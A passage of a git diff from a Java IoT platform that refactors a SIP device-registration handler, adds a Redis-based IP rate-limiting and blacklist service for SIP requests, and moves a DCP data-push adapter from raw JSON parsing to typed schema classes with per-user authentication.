viaHeader = (ViaHeader) request.getHeader(ViaHeader.NAME); + //ViaHeader viaHeader = (ViaHeader) request.getHeader(ViaHeader.NAME); String received = viaHeader.getReceived(); int rPort = viaHeader.getRPort(); // 本地模拟设备 received 为空 rPort 为 -1 @@ -153,20 +182,20 @@ public class RegisterReqHandler extends ReqAbstractHandler implements Initializi } device.setTransport(isTcp ? "TCP" : "UDP"); } - sipSender.transmitRequest(Sipreq.getLocalAddress().getHostAddress(), response); + sipSender.transmitRequest(sipReq.getLocalAddress().getHostAddress(), response); // 注册成功 if (registerFlag == 1) { - log.info("注册成功! sipId:" + device.getDeviceSipId()); + log.info("注册成功! sipId:{}", device.getDeviceSipId()); device.setRegistertime(DateUtils.getNowDate()); sipDeviceService.updateDevice(device); List channels = sipDeviceChannelService.selectSipDeviceChannelByDeviceSipId(device.getDeviceSipId()); - if (channels.size() > 0) { + if (!channels.isEmpty()) { Device iotdev = deviceService.selectDeviceBySerialNumber(device.getDeviceSipId()); if (iotdev == null) { //添加到统一设备管理 默认添加到admin账号下 int result = deviceService.insertDeviceAuto(device.getDeviceSipId(), 1L, sipConfig.getProductId()); if (result == 1) { - log.info("-----------sip设备认证成功,并自动添加设备到系统,SipId:" + device.getDeviceSipId() + "---------------"); + log.info("-----------sip设备认证成功,并自动添加设备到系统,SipId:{}---------------", device.getDeviceSipId()); } iotdev = new Device(); } @@ -177,10 +206,10 @@ public class RegisterReqHandler extends ReqAbstractHandler implements Initializi // 重新注册更新设备和通道,以免设备替换或更新后信息无法更新 onRegister(device); } else { - log.info("未找到改设备! deviceId:" + device.getDeviceId()); + log.info("未找到改设备! deviceId:{}", device.getDeviceId()); } } else if (registerFlag == 2) { - log.info("注销成功! deviceId:" + device.getDeviceId()); + log.info("注销成功! deviceId:{}", device.getDeviceId()); mqttService.publishStatus(device, 4); } diff --git a/fastbee-server/sip-server/src/main/java/com/fastbee/sip/service/ISipSecurityService.java b/fastbee-server/sip-server/src/main/java/com/fastbee/sip/service/ISipSecurityService.java new file mode 100644 index 00000000..4ccf9f16 --- /dev/null +++ b/fastbee-server/sip-server/src/main/java/com/fastbee/sip/service/ISipSecurityService.java @@ -0,0 +1,60 @@ +package com.fastbee.sip.service; + +/** + * SIP安全防护服务接口 + * + * @author George + * @date 2026/7/23 + */ +public interface ISipSecurityService { + + /** + * Redis key前缀 - IP封禁黑名单 + */ + String BLOCK_PREFIX = "sip:block:"; + + /** + * Redis key前缀 - IP请求计数 + */ + String COUNT_PREFIX = "sip:count:"; + + /** + * 检查IP是否被封禁 + * + * @param ip 客户端IP + * @return true=已封禁, false=未封禁 + */ + boolean isBlocked(String ip); + + /** + * 记录请求并检查是否超过速率限制 + * + * @param ip 客户端IP + * @param sipId SIP设备ID + * @return true=超过限制触发封禁, false=正常 + */ + boolean checkAndRecord(String ip, String sipId); + + /** + * 手动封禁IP + * + * @param ip 客户端IP + * @param minutes 封禁时长(分钟) + */ + void blockIp(String ip, int minutes); + + /** + * 解除IP封禁 + * + * @param ip 客户端IP + */ + void unblockIp(String ip); + + /** + * 获取IP请求计数 + * + * @param ip 客户端IP + * @return 当前计数 + */ + long getRequestCount(String ip); +} \ No newline at end of file diff --git a/fastbee-server/sip-server/src/main/java/com/fastbee/sip/service/impl/SipSecurityServiceImpl.java b/fastbee-server/sip-server/src/main/java/com/fastbee/sip/service/impl/SipSecurityServiceImpl.java new file mode 100644 index 00000000..0560fc90 --- /dev/null +++ b/fastbee-server/sip-server/src/main/java/com/fastbee/sip/service/impl/SipSecurityServiceImpl.java @@ -0,0 +1,122 @@ +package com.fastbee.sip.service.impl; + +import com.fastbee.common.core.redis.RedisCache; +import com.fastbee.sip.service.ISipSecurityService; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; + +import java.util.concurrent.TimeUnit; + +/** + * SIP安全防护服务实现 + * 基于Redis实现IP速率限制和自动黑名单 + * + * @author George + * @date 2026/7/23 + */ +@Slf4j +@Service +public class SipSecurityServiceImpl implements ISipSecurityService { + + @Autowired + private RedisCache redisCache; + + /** + * 速率限制:每分钟最大请求数 + */ + @Value("${sip.security.rate-limit:20}") + private int rateLimit; + + /** + * 触发封禁的失败次数阈值 + */ + @Value("${sip.security.block-threshold:30}") + private int blockThreshold; + + /** + * 默认封禁时长(分钟) + */ + @Value("${sip.security.block-duration:120}") + private int blockDuration; + + @Override + public boolean isBlocked(String ip) { + if (ip == null || ip.isEmpty()) { + return false; + } + String key = BLOCK_PREFIX + ip; + return Boolean.TRUE.equals(redisCache.hasKey(key)); + } + + @Override + public boolean checkAndRecord(String ip, String sipId) { + if (ip == null || ip.isEmpty()) { + return false; + } + + // 1. 检查是否已封禁 + if (isBlocked(ip)) { + log.warn("[SIP安全] IP {} 已在黑名单中,拒绝请求", ip); + return true; + } + + // 2. 记录请求计数(2分钟窗口) + // 2分钟5次请求之后就拒绝,10次请求后就封禁 + String countKey = COUNT_PREFIX + ip; + long count = redisCache.incr(countKey, 1); + + // 首次访问设置过期时间 + if (count == 1) { + redisCache.expire(countKey, 120, TimeUnit.SECONDS); + } + + // 3. 检查是否超过速率限制 + if (count > rateLimit) { + log.warn("[SIP安全] IP {} 请求频率超限,当前: {}/min,限制: {}/min", ip, count, rateLimit); + + // 超过阈值则自动封禁 + if (count >= blockThreshold) { + blockIp(ip, blockDuration); + log.warn("[SIP安全] IP {} 触发自动封禁,时长: {}分钟", ip, blockDuration); + } + return true; + } + + return false; + } + + @Override + public void blockIp(String ip, int minutes) { + if (ip == null || ip.isEmpty()) { + return; + } + String key = BLOCK_PREFIX + ip; + redisCache.setCacheObject(key, System.currentTimeMillis(), minutes, TimeUnit.MINUTES); + log.info("[SIP安全] 封禁IP: {},时长: {}分钟", ip, minutes); + } + + @Override + public void unblockIp(String ip) { + if (ip == null || ip.isEmpty()) { + return; + } + String key = BLOCK_PREFIX + ip; + redisCache.deleteObject(key); + log.info("[SIP安全] 解封IP: {}", ip); + } + + @Override + public long getRequestCount(String ip) { + if (ip == null || ip.isEmpty()) { + return 0; + } + String countKey = COUNT_PREFIX + ip; + Object obj = redisCache.getCacheObject(countKey); + if (obj == null) { + return 0; + } + return Long.parseLong(obj.toString()); + } +} \ No newline at end of file diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/adapter/dcp/DcpPlatformAdapter.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/adapter/dcp/DcpPlatformAdapter.java index bd81756b..45c97e4f 100644 --- a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/adapter/dcp/DcpPlatformAdapter.java +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/adapter/dcp/DcpPlatformAdapter.java @@ -13,16 +13,13 @@ import com.fastbee.http.service.HttpClientFactory; import com.fastbee.iot.cache.ITSLCache; import com.fastbee.iot.domain.Device; import com.fastbee.iot.model.ThingsModels.ValueItem; -import com.fastbee.iot.platform.domain.PlatformDeviceMapping; -import com.fastbee.iot.platform.domain.PlatformDeviceSubMapping; -import com.fastbee.iot.platform.domain.PlatformFlow; -import com.fastbee.iot.platform.domain.PlatformInterface; -import com.fastbee.iot.platform.domain.PlatformInstance; -import com.fastbee.iot.platform.domain.PlatformPushLog; +import com.fastbee.iot.platform.domain.*; import com.fastbee.iot.platform.flow.FlowContext; +import com.fastbee.iot.platform.model.json.*; import com.fastbee.iot.platform.flow.PlatformFlowExecutor; import com.fastbee.iot.platform.mapper.PlatformFlowMapper; import com.fastbee.iot.platform.mapper.PlatformInterfaceMapper; +import com.fastbee.iot.platform.mapper.PlatformUserAuthMapper; import com.fastbee.iot.platform.service.IPlatformDeviceSubMappingService; import com.fastbee.iot.platform.service.IPlatformInstanceService; import com.fastbee.iot.platform.service.IPlatformPushLogService; @@ -38,7 +35,6 @@ import java.time.OffsetDateTime; import java.time.ZoneId; import java.time.format.DateTimeFormatter; import java.time.format.DateTimeParseException; -import java.util.ArrayList; import java.util.Date; import java.util.HashMap; import java.util.LinkedHashMap; @@ -69,6 +65,11 @@ public class DcpPlatformAdapter { private static final DateTimeFormatter DATE_TIME_MILLIS = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss.SSS"); private static final DateTimeFormatter DATE_TIME_SECONDS = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"); + @Autowired + private PlatformInterfaceMapper interfaceMapper; + @Autowired + private PlatformUserAuthMapper platformUserAuthMapper; + @Autowired private IPlatformInstanceService instanceService; @Autowired @@ -78,8 +79,6 @@ public class DcpPlatformAdapter { @Autowired private StaticLevelBufferService bufferService; @Autowired - private PlatformInterfaceMapper interfaceMapper; - @Autowired private IPlatformDeviceSubMappingService subMappingService; @Autowired private ITSLCache itslCache; @@ -89,20 +88,21 @@ public class DcpPlatformAdapter { /** * 推送设备上报数据到 DCP(直连设备) */ - public void pushData(PlatformInstance platform, PlatformDeviceMapping mapping, + public void pushData(PlatformInstance platform, PlatformUserAuth userAuth, PlatformDeviceMapping mapping, String reportSerialNumber, String payload) { if (mapping.getNetStatus() == null || mapping.getNetStatus() != 1) { log.warn("[DCP] 设备 {} 未入网,跳过推送", mapping.getSerialNumber()); return; } String sensorType = mapping.getSensorType(); - PlatformInterface pushInterface = loadPushInterface(mapping); - JSONArray requestSchema = loadRequestSchema(pushInterface); + PlatformInterface pushInterface = interfaceMapper.selectById(mapping.getPushInterfaceId()); + + List requestSchema = pushInterface.getRequestSchemaParsed(); String interfaceCode = resolveInterfaceCode(sensorType, pushInterface); try { String pushPath = resolvePushPath(mapping, pushInterface); - handleNormalPush(platform, mapping, reportSerialNumber, payload, pushPath, interfaceCode, requestSchema); + handleNormalPush(platform, userAuth, mapping, reportSerialNumber, payload, pushPath, interfaceCode, requestSchema); } catch (Exception e) { String serialNumber = StringUtils.hasText(reportSerialNumber) ? reportSerialNumber : mapping.getSerialNumber(); @@ -121,7 +121,7 @@ public class DcpPlatformAdapter { * 数组字段由 requestSchema.arrayMode 控制组包方式: * single 只推当前子设备,reference_pair 组装 [refItem, monitorItem] 推送。 */ - public void pushGatewayData(PlatformInstance platform, PlatformDeviceMapping mapping, + public void pushGatewayData(PlatformInstance platform, PlatformUserAuth userAuth, PlatformDeviceMapping mapping, PlatformDeviceSubMapping subMapping, String reportSerialNumber, String payload) { if (mapping.getNetStatus() == null || mapping.getNetStatus() != 1) { @@ -129,8 +129,8 @@ public class DcpPlatformAdapter { return; } String sensorType = mapping.getSensorType(); - PlatformInterface pushInterface = loadPushInterface(mapping); - JSONArray requestSchema = loadRequestSchema(pushInterface); + PlatformInterface pushInterface = interfaceMapper.selectById(mapping.getPushInterfaceId()); + List requestSchema = pushInterface.getRequestSchemaParsed(); String interfaceCode = resolveInterfaceCode(sensorType, pushInterface); try { @@ -142,68 +142,61 @@ public class DcpPlatformAdapter { // 判断是否批量推送 if (pushInterface.getIsBatchPush() != null && pushInterface.getIsBatchPush() == 1) { - pushBatchSubDevicesData(platform, mapping, subMapping, reportSerialNumber, payload, pushPath, interfaceCode, requestSchema); + pushBatchSubDevicesData(platform, userAuth, mapping, subMapping, reportSerialNumber, payload, pushPath, interfaceCode, requestSchema); return; } // 无数组字段 → 简单推送,使用子设备 platformDeviceId 和主表 fieldMapping if (!hasArrayField(requestSchema)) { // 如果只有一个设备完全可以走 - handleSubDeviceSimplePush(platform, mapping, subMapping, reportSerialNumber, payload, pushPath, interfaceCode, requestSchema); + handleSubDeviceSimplePush(platform, userAuth, mapping, subMapping, reportSerialNumber, payload, pushPath, interfaceCode, requestSchema); return; } - JSONArray fieldMappings = parseJsonArray(mapping.getFieldMapping()); + List fieldMappings = mapping.getFieldMappingParsed(); String baseUrl = platform.getBaseUrl() + pushPath; // 解析 extra_mapping 中的 itemFieldMappings 和 reportIntervalSec int reportIntervalSec = 300; - JSONArray itemFieldMappings = null; - String fieldName = resolveArrayFieldName(requestSchema, null); - JSONObject extra = null; - if (StringUtils.hasText(mapping.getExtraMapping())) { - extra = JSON.parseObject(mapping.getExtraMapping()); - reportIntervalSec = extra.getIntValue("reportIntervalSec", 300); - itemFieldMappings = extra.getJSONArray("itemFieldMappings"); - if (StringUtils.hasText(extra.getString("fieldName"))) { - fieldName = extra.getString("fieldName"); + List itemFieldMappings = null; + String fieldName = resolveArrayFieldName(requestSchema); + ExtraMappingConfig extra = mapping.getExtraMappingParsed(); + if (extra != null) { + reportIntervalSec = extra.getReportIntervalSec() != null ? extra.getReportIntervalSec() : 300; + itemFieldMappings = extra.getItemFieldMappings(); + if (StringUtils.hasText(extra.getFieldName())) { + fieldName = extra.getFieldName(); } } - JSONObject arrayFieldSchema = findArrayFieldSchema(requestSchema, fieldName); + RequestSchemaField arrayFieldSchema = findArrayFieldSchema(requestSchema, fieldName); String arrayMode = resolveArrayMode(arrayFieldSchema, extra); // 从 onboard_config 取 sensorId String sensorId = reportSerialNumber; - if (StringUtils.hasText(subMapping.getOnboardConfig())) { - JSONObject config = JSON.parseObject(subMapping.getOnboardConfig()); - String cfgSensorId = config.getString("sensorId"); - if (StringUtils.hasText(cfgSensorId)) { - sensorId = cfgSensorId; - } + OnboardConfig onboardCfg = subMapping.getOnboardConfigParsed(); + if (onboardCfg != null && StringUtils.hasText(onboardCfg.getSensorId())) { + sensorId = onboardCfg.getSensorId(); } // 构建当前设备的数据项 - JSONObject currentItem = buildArrayItem( - platform, mapping, requestSchema, reportData, fieldName, itemFieldMappings, sensorId); + JSONObject currentItem = buildArrayItem(userAuth, mapping, requestSchema, reportData, fieldName, itemFieldMappings, sensorId); if (currentItem == null || currentItem.isEmpty()) { log.warn("[DCP] 网关子设备 {} 数据映射为空,跳过推送", reportSerialNumber); return; } - JSONObject currentBodyFields = buildObjectBySchema(platform, mapping, requestSchema, reportData, fieldMappings); + JSONObject currentBodyFields = buildObjectBySchema(platform, userAuth, mapping, requestSchema, reportData, fieldMappings); // 单点数组推送:sensorData 中只包含当前上报子设备这一条数据。 if (ARRAY_MODE_SINGLE.equals(arrayMode)) { - pushSingleArrayData(platform, mapping, subMapping, reportSerialNumber, baseUrl, - interfaceCode, fieldName, currentItem, currentBodyFields); + pushSingleArrayData(platform, userAuth, mapping, subMapping, reportSerialNumber, baseUrl, interfaceCode, fieldName, currentItem, currentBodyFields); return; } if (subMapping.isReference()) { // 基准点上报:缓存当前基准点,并补推此前已缓存的监测点 - bufferService.saveReferenceData( - platform.getId(), fieldName, reportSerialNumber, currentItem, reportIntervalSec); - int replayCount = replayPendingMonitorData(platform, mapping, fieldName, currentItem, + bufferService.saveReferenceData(platform.getId(), fieldName, reportSerialNumber, currentItem, reportIntervalSec); + int replayCount = replayPendingMonitorData(platform, userAuth, mapping, fieldName, currentItem, reportIntervalSec, baseUrl, interfaceCode); log.info("[DCP] 基准点 {} 已缓存,补推监测点 {} 条", reportSerialNumber, replayCount); return; @@ -219,8 +212,7 @@ public class DcpPlatformAdapter { // 获取基准点序列号,优先使用子映射中当前标记的 reference 行 String refSerialNumber = resolveRefSerialNumber(subMapping, mapping); - JSONObject refData = bufferService.getReferenceDataIfFresh( - platform.getId(), fieldName, refSerialNumber, reportIntervalSec); + JSONObject refData = bufferService.getReferenceDataIfFresh(platform.getId(), fieldName, refSerialNumber, reportIntervalSec); if (refData != null && refData.getJSONObject("itemData") != null) { JSONArray sensorData = new JSONArray(); sensorData.add(refData.getJSONObject("itemData")); @@ -228,12 +220,11 @@ public class DcpPlatformAdapter { JSONArray pushBody = buildArrayPushBody(mapping, currentBodyFields, fieldName, sensorData, monitorDeviceId); PlatformPushLog logEntry = createLogEntry(platform, mapping, interfaceCode, reportSerialNumber); - doHttpPost(platform, baseUrl, JSON.toJSONString(pushBody), logEntry); + doHttpPost(platform, userAuth, mapping, baseUrl, JSON.toJSONString(pushBody), logEntry); pushLogService.asyncSave(logEntry); log.info("[DCP] 监测点 {} 基准点就绪,已推送 deviceId={}", reportSerialNumber, monitorDeviceId); } else { - bufferService.saveMonitorData( - platform.getId(), fieldName, reportSerialNumber, currentItem, currentBodyFields, reportIntervalSec); + bufferService.saveMonitorData(platform.getId(), fieldName, reportSerialNumber, currentItem, currentBodyFields, reportIntervalSec); log.info("[DCP] 监测点 {} 基准点未就绪,已缓存等待", reportSerialNumber); } } catch (Exception e) { @@ -245,7 +236,7 @@ public class DcpPlatformAdapter { } } - private void pushSingleArrayData(PlatformInstance platform, PlatformDeviceMapping mapping, + private void pushSingleArrayData(PlatformInstance platform, PlatformUserAuth userAuth, PlatformDeviceMapping mapping, PlatformDeviceSubMapping subMapping, String reportSerialNumber, String baseUrl, String interfaceCode, String fieldName, JSONObject currentItem, JSONObject currentBodyFields) { @@ -259,7 +250,7 @@ public class DcpPlatformAdapter { JSONArray pushBody = buildArrayPushBody(mapping, currentBodyFields, fieldName, sensorData, deviceId); PlatformPushLog logEntry = createLogEntry(platform, mapping, interfaceCode, reportSerialNumber); - doHttpPost(platform, baseUrl, JSON.toJSONString(pushBody), logEntry); + doHttpPost(platform, userAuth, mapping, baseUrl, JSON.toJSONString(pushBody), logEntry); pushLogService.asyncSave(logEntry); log.info("[DCP] 子设备 {} 单点数组已推送 deviceId={}", reportSerialNumber, deviceId); } @@ -267,36 +258,32 @@ public class DcpPlatformAdapter { /** * 请求 schema 是否包含数组字段 */ - private boolean hasArrayField(JSONArray requestSchema) { + private boolean hasArrayField(List requestSchema) { if (requestSchema == null || requestSchema.isEmpty()) { return false; } - for (int i = 0; i < requestSchema.size(); i++) { - JSONObject field = requestSchema.getJSONObject(i); - if ("array".equalsIgnoreCase(field.getString("type"))) { + for (RequestSchemaField field : requestSchema) { + if ("array".equalsIgnoreCase(field.getType())) { return true; } } return false; } - private String resolveArrayFieldName(JSONArray requestSchema, String fallback) { - if (StringUtils.hasText(fallback)) { - return fallback; - } - JSONObject firstArrayField = findFirstArrayFieldSchema(requestSchema); - if (firstArrayField != null && StringUtils.hasText(firstArrayField.getString("name"))) { - return firstArrayField.getString("name"); + private String resolveArrayFieldName(List requestSchema) { + RequestSchemaField firstArrayField = findFirstArrayFieldSchema(requestSchema); + if (firstArrayField != null && StringUtils.hasText(firstArrayField.getName())) { + return firstArrayField.getName(); } return "sensorData"; } - private String resolveArrayMode(JSONObject arrayFieldSchema, JSONObject extra) { + private String resolveArrayMode(RequestSchemaField arrayFieldSchema, ExtraMappingConfig extra) { String mode = null; - if (extra != null && StringUtils.hasText(extra.getString("arrayMode"))) { - mode = extra.getString("arrayMode"); - } else if (arrayFieldSchema != null && StringUtils.hasText(arrayFieldSchema.getString("arrayMode"))) { - mode = arrayFieldSchema.getString("arrayMode"); + if (extra != null && StringUtils.hasText(extra.getArrayMode())) { + mode = extra.getArrayMode(); + } else if (arrayFieldSchema != null && StringUtils.hasText(arrayFieldSchema.getArrayMode())) { + mode = arrayFieldSchema.getArrayMode(); } if (!StringUtils.hasText(mode)) { return ARRAY_MODE_REFERENCE_PAIR; @@ -319,14 +306,9 @@ public class DcpPlatformAdapter { } // 兼容历史配置:从 onboard_config 取基准点原始序列号 - if (StringUtils.hasText(subMapping.getOnboardConfig())) { - try { - JSONObject config = JSON.parseObject(subMapping.getOnboardConfig()); - String refSensorId = config.getString("refSerialNumber"); - if (StringUtils.hasText(refSensorId)) { - return refSensorId; - } - } catch (Exception ignored) {} + OnboardConfig config = subMapping.getOnboardConfigParsed(); + if (config != null && StringUtils.hasText(config.getRefSerialNumber())) { + return config.getRefSerialNumber(); } // 回退:用网关本身的序列号 return mapping.getSerialNumber(); @@ -335,7 +317,7 @@ public class DcpPlatformAdapter { /** * 基准点后到时,补推此前缓存的监测点数据。 */ - private int replayPendingMonitorData(PlatformInstance platform, PlatformDeviceMapping mapping, + private int replayPendingMonitorData(PlatformInstance platform, PlatformUserAuth userAuth,PlatformDeviceMapping mapping, String fieldName, JSONObject referenceItem, int reportIntervalSec, String baseUrl, String interfaceCode) { List subMappings = subMappingService.selectByParentId(mapping.getId()); @@ -375,7 +357,7 @@ public class DcpPlatformAdapter { sensorData, monitor.getPlatformDeviceId()); PlatformPushLog logEntry = createLogEntry(platform, mapping, interfaceCode, monitor.getSubSerialNumber()); - doHttpPost(platform, baseUrl, JSON.toJSONString(pushBody), logEntry); + doHttpPost(platform, userAuth, mapping, baseUrl, JSON.toJSONString(pushBody), logEntry); pushLogService.asyncSave(logEntry); if (logEntry.getStatus() != null && logEntry.getStatus() == 1) { bufferService.removeMonitorData(platform.getId(), fieldName, monitor.getSubSerialNumber()); @@ -392,21 +374,21 @@ public class DcpPlatformAdapter { // ==================== 普通推送 ==================== - private void handleNormalPush(PlatformInstance platform, PlatformDeviceMapping mapping, + private void handleNormalPush(PlatformInstance platform, PlatformUserAuth userAuth, PlatformDeviceMapping mapping, String reportSerialNumber, String payload, String pushPath, - String interfaceCode, JSONArray requestSchema) { - Object body = buildPushBody(platform, mapping, payload, requestSchema); + String interfaceCode, List requestSchema) { + Object body = buildPushBody(platform, userAuth, mapping, payload, requestSchema); if (body == null) { log.warn("[DCP] 设备 {} 字段映射结果为空,跳过推送", mapping.getSerialNumber()); return; } PlatformPushLog logEntry = createLogEntry(platform, mapping, interfaceCode, reportSerialNumber); - doHttpPost(platform, platform.getBaseUrl() + pushPath, JSON.toJSONString(body), logEntry); + doHttpPost(platform, userAuth, mapping, platform.getBaseUrl() + pushPath, JSON.toJSONString(body), logEntry); pushLogService.asyncSave(logEntry); } - private Object buildPushBody(PlatformInstance platform, PlatformDeviceMapping mapping, - String payload, JSONArray requestSchema) { + private Object buildPushBody(PlatformInstance platform, PlatformUserAuth userAuth,PlatformDeviceMapping mapping, + String payload, List requestSchema) { if (!StringUtils.hasText(payload)) { return null; } @@ -415,12 +397,12 @@ public class DcpPlatformAdapter { return null; } - JSONArray fieldMappings = parseJsonArray(mapping.getFieldMapping()); + List fieldMappings = mapping.getFieldMappingParsed(); if (requestSchema == null || requestSchema.isEmpty()) { return buildLegacyPushBody(mapping.getPlatformDeviceId(), fieldMappings, reportData); } - JSONObject dcpData = buildObjectBySchema(platform, mapping, requestSchema, reportData, fieldMappings); + JSONObject dcpData = buildObjectBySchema(platform, userAuth, mapping, requestSchema, reportData, fieldMappings); if (dcpData.isEmpty() || hasPayloadDrivenValue(dcpData, requestSchema)) { return buildLegacyPushBody(mapping.getPlatformDeviceId(), fieldMappings, reportData); } @@ -430,7 +412,7 @@ public class DcpPlatformAdapter { return arr; } - private Object buildLegacyPushBody(String platformDeviceId, JSONArray fieldMappings, JSONObject reportData) { + private Object buildLegacyPushBody(String platformDeviceId, List fieldMappings, JSONObject reportData) { if (fieldMappings == null || fieldMappings.isEmpty()) { return null; } @@ -439,10 +421,9 @@ public class DcpPlatformAdapter { dcpData.put("deviceId", platformDeviceId); dcpData.put("epoch", nowIsoTimestamp()); - for (int i = 0; i < fieldMappings.size(); i++) { - JSONObject fm = fieldMappings.getJSONObject(i); - String identifier = fm.getString("identifier"); - String platformField = fm.getString("platformField"); + for (FieldMappingItem fm : fieldMappings) { + String identifier = fm.getIdentifier(); + String platformField = fm.getPlatformField(); if (!StringUtils.hasText(identifier) || !StringUtils.hasText(platformField)) { continue; } @@ -466,18 +447,16 @@ public class DcpPlatformAdapter { *

* 使用子设备 platformDeviceId 和主表 fieldMapping 组装请求体 */ - private void handleSubDeviceSimplePush(PlatformInstance platform, PlatformDeviceMapping mapping, - PlatformDeviceSubMapping subMapping, - String reportSerialNumber, String payload, - String pushPath, String interfaceCode, - JSONArray requestSchema) { - Object body = buildSubDevicePushBody(platform, mapping, subMapping, payload, requestSchema); + private void handleSubDeviceSimplePush(PlatformInstance platform, PlatformUserAuth userAuth, PlatformDeviceMapping mapping, + PlatformDeviceSubMapping subMapping, String reportSerialNumber, String payload, + String pushPath, String interfaceCode, List requestSchema) { + Object body = buildSubDevicePushBody(platform, userAuth, mapping, subMapping, payload, requestSchema); if (body == null) { log.warn("[DCP] 网关子设备 {} 字段映射结果为空,跳过推送", reportSerialNumber); return; } PlatformPushLog logEntry = createLogEntry(platform, mapping, interfaceCode, reportSerialNumber); - doHttpPost(platform, platform.getBaseUrl() + pushPath, JSON.toJSONString(body), logEntry); + doHttpPost(platform, userAuth,mapping, platform.getBaseUrl() + pushPath, JSON.toJSONString(body), logEntry); pushLogService.asyncSave(logEntry); } @@ -486,9 +465,9 @@ public class DcpPlatformAdapter { *

* 复用主表 fieldMapping 进行物模型字段映射,deviceId 取自子映射行 */ - private Object buildSubDevicePushBody(PlatformInstance platform, PlatformDeviceMapping mapping, + private Object buildSubDevicePushBody(PlatformInstance platform, PlatformUserAuth userAuth, PlatformDeviceMapping mapping, PlatformDeviceSubMapping subMapping, String payload, - JSONArray requestSchema) { + List requestSchema) { JSONObject reportData = parsePayloadToMap(payload); if (reportData == null || reportData.isEmpty()) { return null; @@ -498,12 +477,12 @@ public class DcpPlatformAdapter { String platformDeviceId = StringUtils.hasText(subMapping.getPlatformDeviceId()) ? subMapping.getPlatformDeviceId() : mapping.getPlatformDeviceId(); - JSONArray fieldMappings = parseJsonArray(mapping.getFieldMapping()); + List fieldMappings = mapping.getFieldMappingParsed(); if (requestSchema == null || requestSchema.isEmpty()) { return buildLegacyPushBody(platformDeviceId, fieldMappings, reportData); } - JSONObject dcpData = buildObjectBySchema(platform, mapping, requestSchema, reportData, fieldMappings); + JSONObject dcpData = buildObjectBySchema(platform, userAuth, mapping, requestSchema, reportData, fieldMappings); if (dcpData.isEmpty() || hasPayloadDrivenValue(dcpData, requestSchema)) { return buildLegacyPushBody(platformDeviceId, fieldMappings, reportData); @@ -538,23 +517,22 @@ public class DcpPlatformAdapter { return arr; } - private JSONObject buildObjectBySchema(PlatformInstance platform, PlatformDeviceMapping mapping, - JSONArray requestSchema, JSONObject reportData, - JSONArray fieldMappings) { + private JSONObject buildObjectBySchema(PlatformInstance platform, PlatformUserAuth userAuth, PlatformDeviceMapping mapping, + List requestSchema, JSONObject reportData, + List fieldMappings) { JSONObject body = new JSONObject(); if (requestSchema == null || requestSchema.isEmpty()) { return body; } - for (int i = 0; i < requestSchema.size(); i++) { - JSONObject schemaField = requestSchema.getJSONObject(i); - if ("array".equalsIgnoreCase(schemaField.getString("type"))) { + for (RequestSchemaField schemaField : requestSchema) { + if ("array".equalsIgnoreCase(schemaField.getType())) { continue; } - String fieldName = schemaField.getString("name"); + String fieldName = schemaField.getName(); if (!StringUtils.hasText(fieldName)) { continue; } - Object value = resolveSchemaFieldValue(platform, mapping, schemaField, reportData, fieldMappings); + Object value = resolveSchemaFieldValue(platform, userAuth, mapping, schemaField, reportData, fieldMappings); if (value != null) { body.put(fieldName, value); } @@ -562,25 +540,25 @@ public class DcpPlatformAdapter { return body; } - private Object resolveSchemaFieldValue(PlatformInstance platform, PlatformDeviceMapping mapping, - JSONObject schemaField, JSONObject reportData, - JSONArray fieldMappings) { - String source = schemaField.getString("source"); - String fieldName = schemaField.getString("name"); - String configField = schemaField.getString("field"); - String contextKey = schemaField.getString("contextKey"); + private Object resolveSchemaFieldValue(PlatformInstance platform, PlatformUserAuth userAuth, PlatformDeviceMapping mapping, + RequestSchemaField schemaField, JSONObject reportData, + List fieldMappings) { + String source = schemaField.getSource(); + String fieldName = schemaField.getName(); + String configField = schemaField.getField(); + String contextKey = schemaField.getContextKey(); if ("fixed".equals(source)) { - return schemaField.get("value"); + return schemaField.getValue(); } if ("device".equals(source)) { return resolveDeviceField(mapping, configField); } if ("auth".equals(source)) { - return resolveJsonField(platform.getAuthConfig(), configField); + return resolveJsonField(userAuth.getAuthConfig(), configField); } if ("extra".equals(source)) { - return resolveJsonField(platform.getExtraConfig(), configField); + return resolveJsonField(userAuth.getExtraConfig(), configField); } if (isThingsModelSource(source)) { return resolveThingsModelValue(reportData, fieldMappings, fieldName, contextKey); @@ -601,11 +579,11 @@ public class DcpPlatformAdapter { return null; } - private JSONObject buildArrayItem(PlatformInstance platform, PlatformDeviceMapping mapping, - JSONArray requestSchema, JSONObject reportData, String fieldName, - JSONArray itemFieldMappings, String subDeviceId) { - JSONObject arrayFieldSchema = findArrayFieldSchema(requestSchema, fieldName); - JSONArray itemSchema = arrayFieldSchema == null ? null : arrayFieldSchema.getJSONArray("itemSchema"); + private JSONObject buildArrayItem(PlatformUserAuth userAuth, PlatformDeviceMapping mapping, + List requestSchema, JSONObject reportData, String fieldName, + List itemFieldMappings, String subDeviceId) { + RequestSchemaField arrayFieldSchema = findArrayFieldSchema(requestSchema, fieldName); + List itemSchema = arrayFieldSchema == null ? null : arrayFieldSchema.getItemSchema(); if (itemSchema == null || itemSchema.isEmpty()) { return buildLegacyArrayItem(reportData, itemFieldMappings, subDeviceId); } @@ -613,20 +591,18 @@ public class DcpPlatformAdapter { JSONObject item = new JSONObject(); boolean hasThingsModelField = false; boolean hasThingsModelValue = false; - for (int i = 0; i < itemSchema.size(); i++) { - JSONObject schemaField = itemSchema.getJSONObject(i); - String itemFieldName = schemaField.getString("name"); + for (RequestSchemaField schemaField : itemSchema) { + String itemFieldName = schemaField.getName(); if (!StringUtils.hasText(itemFieldName)) { continue; } - if (isThingsModelSource(schemaField.getString("source"))) { + if (isThingsModelSource(schemaField.getSource())) { hasThingsModelField = true; } - Object value = resolveArrayItemFieldValue( - platform, mapping, schemaField, reportData, itemFieldMappings, subDeviceId); + Object value = resolveArrayItemFieldValue(userAuth, mapping, schemaField, reportData, itemFieldMappings, subDeviceId); if (value != null) { item.put(itemFieldName, value); - if (isThingsModelSource(schemaField.getString("source"))) { + if (isThingsModelSource(schemaField.getSource())) { hasThingsModelValue = true; } } @@ -637,51 +613,51 @@ public class DcpPlatformAdapter { return item; } - private JSONObject 